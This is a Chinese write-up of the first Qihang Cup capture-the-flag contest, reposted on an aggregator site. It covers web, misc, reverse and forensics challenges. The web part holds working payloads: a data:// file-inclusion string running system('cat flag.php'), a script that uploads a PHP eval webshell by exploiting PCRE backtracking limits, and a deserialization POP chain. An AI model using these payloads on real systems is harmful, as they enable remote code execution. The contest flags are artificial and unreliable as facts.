第一届启航杯网络安全大赛部分wp

news/2025/1/27 10:44:36/文章来源:https://www.cnblogs.com/DSchenzi/p/18691571

第一届启航杯

WEB

Easy include

<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['fil  e'];
if(isset($file))
{if(!preg_match("/flag/i",$file)){include($file);}else{echo("no no no ~ ");}
}
else
{highlight_file(__FILE__);
}?> 
payload:
http://154.64.245.108:33198/?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgIGZsYWcucGhwJyk7Pz4=

image-20250125100210096

Web_IP

image-20250125100746403

打开hint.php发现这句话 尝试写入XFF头

多次尝试后发现是SSTI的XFF头注入 直接读取flag就行

image-20250125100150853

PCREMagic

 <?php
function is_php($data){return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}if(empty($_FILES)) {die(show_source(__FILE__));
}$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {echo "bad request";
} else {if (!is_dir($user_dir)) {mkdir($user_dir, 0755, true);}$path = $user_dir . '/' . random_int(0, 10) . '.php';move_uploaded_file($_FILES['file']['tmp_name'], $path);header("Location: $path", true, 303);exit;
}
?> 1

这是一题PHP正则回溯溢出绕过

我们需要上传webshell来控制后台,但是is_php()函数对文件内容做了正则检测;关键点就是需要突破正则检测。

import requests
from io import BytesIOurl = "http://8.219.82.75:32983"files = {'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}res = requests.post(url=url, files=files, allow_redirects=False)print(res.headers)

image-20250125140054934

image-20250125135711572

image-20250125135723405

image-20250125135729639

QHCTF{037c9d2c-1f5a-4f00-a471-03d5ffe3ae40}

Web_pop

__isset:当对不可访问属性调用isset()或empty()时调用,在eeee中出现isset;
__clone:当对象复制完成时调用,在Easy中出现。这题中要让Sec的var等于eeee这个类
__call:在对象中调用一个不可访问方法时调用,在Sec中的toString中调用
__toString:在Start中出现echo $name
<?php
highlight_file(__FILE__);
class Start{public $name;public $func;
}class Sec{public $obj;public $var;
}class Easy{public $cla;
}class eeee{public $obj;
}$res = new Start;
$res->name = new Sec;
$res->name->obj = new Easy;
$res->name->var=new eeee;
$res->name->var->obj=new Start;
$res->name->var->obj->func=new Sec;
echo serialize($res);
?>O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:3:"var";r:4;}s:4:"func";N;}
QHCTF{138118b4-9ad3-4db2-8d68-3e68660d7703}

MISC

QHCTF For Year 2025

image-20250125124804664

QHCTF{FUN}

请找出拍摄地所在位置

PvzHE

image-20250125144838980

image-20250125144855134

image-20250125144909823

image-20250125144923864

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}

Reverse

Checker

对一组十六进制数进行解码,具体通过对每个数字进行按位异或(XOR)运算来还原成对应的字符,最终拼接成一个字符串并输出。

# 原始十六进制列表
hex_list = [0x72, 0x6B, 0x60, 0x77, 0x65, 0x58, 0x46, 0x46, 0x15, 0x40, 0x14, 0x41,0x1A, 0x40, 0x0E, 0x46, 0x14, 0x45, 0x16, 0x0E, 0x17, 0x45, 0x42, 0x41,0x0E, 0x1A, 0x41, 0x47, 0x45, 0x0E, 0x46, 0x42, 0x13, 0x14, 0x46, 0x13,0x10, 0x17, 0x45, 0x15, 0x42, 0x16, 0x5E
]# 解码结果存储在此字符串中
decoded_flag = ''# 遍历列表,对每个元素进行异或操作并转换为字符
for hex_value in hex_list:decoded_flag += chr(hex_value ^ 0x23)# 打印解码后的字符串
print(decoded_flag)

image-20250125144535750

rainbow

# 初始化十六进制数据列表
hex_list = [0x0B, 0x12, 0x19, 0x0E, 0x1C, 0x21, 0x3B, 0x62, 0x68, 0x68, 0x6C, 0x6B,0x6A, 0x69, 0x77, 0x6F, 0x3B, 0x63, 0x3B, 0x77, 0x6E, 0x3C, 0x3B, 0x6D,0x77, 0x3B, 0x38, 0x39, 0x3C, 0x77, 0x3E, 0x3F, 0x3B, 0x6E, 0x69, 0x62,0x3B, 0x6D, 0x39, 0x3F, 0x6D, 0x62, 0x27
]# 初始化空字符串,用于存储解码后的字符
decoded_flag = ''# 遍历每个十六进制值,进行解码操作
for value in hex_list:# 异或操作,解码数据,并转换为对应的字符decoded_flag += chr(value ^ 90)# 输出解码后的字符串
print(decoded_flag)

image-20250125144628576

小明的note

#include <stdio.h>
#include <string.h>// 解密函数
void decrypt_flag(const char *encrypted_data, char *decrypted_data, int key) {// 提取密钥的字节部分unsigned char key_parts[4];key_parts[0] = key & 0xFF;          // 提取最低字节key_parts[1] = (key >> 8) & 0xFF;  // 提取次低字节key_parts[2] = (key >> 16) & 0xFF; // 提取次高字节key_parts[3] = (key >> 24) & 0xFF; // 提取最高字节// 获取加密数据的长度int data_length = strlen(encrypted_data);for (int i = 0; i < data_length; ++i) {// 使用异或运算进行解密decrypted_data[i] = (key_parts[i % 4] ^ encrypted_data[i]) ^ (i + 1);}// 添加字符串结束符decrypted_data[data_length] = '\0';
}int main() {// 加密后的数据const char encrypted_data[] = {0x12, 0x7D, 0xE1, 0x2C, 0x01, 0x4A, 0xC4, 0x45, 0x78, 0x5E, 0xC9, 0x46, 0x78, 0x5D, 0x83, 0x0F, 0x37, 0x12, 0xD0, 0x45, 0x63, 0x42, 0xD5, 0x57, 0x76, 0x14, 0xDE, 0x06, 0x6E, 0x04, 0x8F, 0x3E, 0x50, 0x21, 0xE1, 0x3B, 0x53, 0x72, 0xB7, 0x6C, 0x5D, 0x79, 0xF7, 0xE8};// 定义密钥int key = 2090940226;// 解密结果存储的缓冲区int encrypted_length = sizeof(encrypted_data);char decrypted_data[encrypted_length + 1]; // +1 预留空间给结束符// 解密操作decrypt_flag(encrypted_data, decrypted_data, key);// 打印解密后的数据printf("Decrypted flag: %s\n", decrypted_data);return 0;
}

image-20250125144717515

Forensics

Win_02

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/875898.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车辆冲洗监测摄像机

车辆冲洗监测摄像机是一种结合了监控摄像技术和智能分析技术的先进设备,旨在通过实时监测和分析车辆冲洗过程中的情况,识别是否存在异常或问题,并及时发出警报通知相关人员。这种摄像机在汽车服务行业、物流运输领域、环境保护等方面有着广泛的应用前景。车辆冲洗监测摄像机…

春节福利来啦!Mac用户快来抽大奖

亲爱的Mac俱乐部(MaClub)用户及所有果粉朋友们: 值此新春佳节之际,Mac俱乐部特别推出春节亲爱的Mac俱乐部(MaClub)用户及所有果粉朋友们: 值此新春佳节之际,Mac俱乐部特别推出春节抽奖活动,以回馈广大用户长期以来的支持与厚爱。我们精心准备了丰富的奖品,希望能为您…

mysql8.0无备份通过idb文件恢复数据过程、idb文件修复和tablespace id不一致处理

周末突然接到一位一年多没联系的妹妹打来电话,“刘哥,快来救救我”,我脑海瞬间冒出妙瓦底,电信火苲马扁.....,当时就冒汗了,心想这个妹子怎么被... 问其原由,原来是他们公司服务器掉电,重启后单位的站点打不开了,请求支援... 妹妹说搞定请我吃临沂炒鸡,作为从业N年的…

Python高性能编程:五种核心优化技术的原理与Python代码

在性能要求较高的应用场景中,Python常因其执行速度不及C、C++或Rust等编译型语言而受到质疑。然而通过合理运用Python标准库提供的优化特性,我们可以显著提升Python代码的执行效率。本文将详细介绍几种实用的性能优化技术。 https://avoid.overfit.cn/post/d5e73b6322714603…

个人星盘 api数据接口

星盘,星盘分析,星盘查询,在线星盘,个人星盘,星座配对,占星,缘份居国学,API数据接口星座星盘,星座星盘‌是一种根据出生日期、时间和地点等信息,通过占星学原理进行星象排布和解读的方法。它通过对天体运行规律、星体属性和宫位的分析,来预测个人的性格特点、运势走向以及与他…

新春“码”启 | 0 基础开发微信小游戏,Cocos 游戏引擎 + AI 辅助编程(第2天)

本文是“新春“码”启 | 从零开始开发微信小游戏”第2天的学习历程,包括如何设计一个适合小朋友玩的游戏创意和使用Cocos Creator进行初步开发的过程。虽然在游戏创意上遇到了一些挑战,但通过不断尝试和学习Cocos的基础操作,逐渐找到了方向。同时,我们还探讨了TypeScript的…

Magnet Axiom 8.5 新增功能概览 (数字取证与分析软件)

Magnet Axiom 8.5 新增功能概览 (数字取证与分析软件)Magnet Axiom 8.5 新增功能概览 (数字取证与分析软件) Magnet Axiom 8.5 Windows x64 Multilingual - 数字取证与分析 Digital Forensic Software 请访问原文链接:https://sysin.org/blog/magnet-axiom/ 查看最新版。原创作…

第一届“启航杯”网络安全挑战赛WP

misc PvzHE 去这个文件夹有一张图片 QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5} QHCTF For Year 2025 攻防世界有一样的 080714212829302316092230 对应Q以此类推 QHCTF{FUN} 请找出拍摄地所在位置柳城丰顺forensics win01 这个软件云沙盒分析一下md5ad4fdee2eada36ec3c20e9…

Magnet Axiom 8.6 新增功能概览 (数字取证与分析软件)

Magnet Axiom 8.6 新增功能概览 (数字取证与分析软件)Magnet Axiom 8.6 新增功能概览 (数字取证与分析软件) Magnet Axiom 8.6 Windows x64 Multilingual - 数字取证与分析 Digital Forensic Software 请访问原文链接:https://sysin.org/blog/magnet-axiom/ 查看最新版。原创作…

深入探讨数据库索引类型:B-tree、Hash、GIN与GiST的对比与应用

title: 深入探讨数据库索引类型:B-tree、Hash、GIN与GiST的对比与应用 date: 2025/1/26 updated: 2025/1/26 author: cmdragon excerpt: 在现代数据库管理系统中,索引技术是提高查询性能的重要手段。当数据量不断增长时,如何快速、有效地访问这些数据成为了数据库设计的核…

玩转单例模式

Java中单例(Singleton)模式是一种广泛使用的设计模式。单例模式的主要作用是保证在Java程序中,某个类只有一个实例存在。一些管理器和控制器常被设计成单例模式。 单例模式的好处:能够避免实例对象的重复创建,不仅可以减少每次创建对象的时间开销,还可以节约内存空间; 能够…